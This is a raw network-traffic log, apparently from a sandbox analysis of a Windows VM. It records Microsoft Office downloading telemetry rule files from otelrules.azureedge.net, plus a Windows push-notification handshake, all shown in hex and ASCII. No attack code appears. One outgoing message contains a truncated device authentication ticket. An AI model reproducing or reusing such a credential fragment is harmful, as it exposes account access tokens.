2024-11-22 13:43:25 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 239436ba-d01e-0028-7bd5-3b7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134325Z-15b8b599d88tr2flhC1TEB5gk400000001pg000000006cs0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49727	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:25 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 7a 74 41 4b 52 6b 47 4d 39 55 6d 77 4a 48 34 71 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 30 37 64 61 32 63 35 32 33 36 34 38 65 37 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: ztAKRkGM9UmwJH4q.1Context: 607da2c523648e73
2024-11-22 13:43:25 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-22 13:43:25 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 7a 74 41 4b 52 6b 47 4d 39 55 6d 77 4a 48 34 71 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 30 37 64 61 32 63 35 32 33 36 34 38 65 37 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 4b 78 53 42 4f 6b 48 4f 75 31 66 6d 49 2b 7a 57 59 59 58 58 65 6d 67 71 61 6f 68 54 6d 37 78 6e 7a 6e 54 2b 4f 70 42 6f 4e 77 4e 44 64 2b 63 48 4e 6e 39 57 33 61 38 2b 39 53 43 61 66 2b 75 4a 75 41 6b 48 65 38 66 68 2f 61 33 69 4e 31 61 38 52 70 71 73 56 69 50 56 69 63 6d 33 43 71 56 66 66 6b 61 6c 66 6f 6a 39 78 43 59 43 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: ztAKRkGM9UmwJH4q.2Context: 607da2c523648e73<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVKxSBOkHOu1fmI+zWYYXXemgqaohTm7xnznT+OpBoNwNDd+cHNn9W3a8+9SCaf+uJuAkHe8fh/a3iN1a8RpqsViPVicm3CqVffkalfoj9xCYC
2024-11-22 13:43:25 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 7a 74 41 4b 52 6b 47 4d 39 55 6d 77 4a 48 34 71 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 30 37 64 61 32 63 35 32 33 36 34 38 65 37 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: ztAKRkGM9UmwJH4q.3Context: 607da2c523648e73<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-22 13:43:26 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-22 13:43:26 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6e 6e 6d 51 41 69 4a 30 70 55 4b 72 78 63 42 45 57 52 2f 6c 67 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: nnmQAiJ0pUKrxcBEWR/lgg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:25 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: ad60cd0f-c01e-008e-6f6a-3c7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134325Z-174c587ffdf6b487hC1TEBydsn00000001g00000000053u1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:25 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134325Z-15b8b599d88phfhnhC1TEBr51n00000001p0000000007q4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:25 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 922c5f4e-601e-005c-577c-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134325Z-174c587ffdfn4nhwhC1TEB2nbc00000001n00000000076pa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:25 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134326Z-178bfbc474bpnd5vhC1NYC4vr400000002yg00000000gye0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:28 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:28 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bb18f6-501e-000a-54a9-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134328Z-174c587ffdfgcs66hC1TEB69cs00000001dg000000005ruu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:28 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:28 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:28 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: d02e2b11-101e-00a2-2d3a-3c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134328Z-178bfbc474bscnbchC1NYCe7eg000000037g000000006vgf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:28 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134328Z-174c587ffdftjz9shC1TEBsh9800000001eg000000002kz9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:28 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 3c827ba2-d01e-0014-367c-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134328Z-178bfbc474bbbqrhhC1NYCvw74000000033000000000k9q7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:28 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:28 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8189730a-201e-0003-216a-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134328Z-178bfbc474bxkclvhC1NYC69g400000002xg00000000ds73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
